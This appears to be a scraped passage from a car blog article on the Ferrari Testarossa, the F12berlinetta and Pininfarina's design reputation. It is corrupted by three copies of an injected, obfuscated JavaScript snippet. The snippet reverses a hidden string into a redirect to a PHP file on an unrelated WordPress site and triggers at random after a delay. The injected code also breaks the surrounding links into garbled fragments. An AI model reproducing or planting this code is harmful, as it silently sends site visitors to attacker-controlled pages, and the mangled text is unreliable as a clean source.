$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/07/5373124974_2c29aef83b_b-728×546.jpg” width=”728″ height=”546″ />
We take a fairly sizeable skip down the road now to 1984 and perhaps one of the most iconic Ferraris ever built, the Testarossa. Iconic yes, but certainly not exclusive, since – in a rare move from the Scuderia – over 10,000 examples of ‘The Red Head’ were produced during a twelve-year lifecycle.
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Now most of you will know that crankandpiston could wax lyrical about the 4.9l mid-mounted flat-twelve, 390hp, 0-100kph in 5.3s and 290kph top speed for the another three pages, but for us that’s not what made the Testarossa (or 512 TR for fans of the post-1991 models) the name it is today. For that we look at the sculpted side intakes, the graceful flow of the body, the almost tangible essence of 1980s culture, and – naturally – those pop-up headlights. Sometimes style really does outdo performance for the better.
If you’re unsure about our list, then perhaps we should bow out with the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/vision/ferrari-f12-berlinetta-launch/” target=”_blank”>Ferrari F12berlinetta. Built and developed by the boys at Maranello, true, but who do you think they went to for help with the styling?
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Pininfarina may never have vaulted the likes of Italian contemporaries Ferrari, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/?s=Maserati”>Maserati and Alfa Romeo into the spotlight, but 82 years after the company’s debut, the name is still held in enormous regard. Honorary Chairman Sergio Pininfarina may be gone, but it seems unlikely this will ever change.
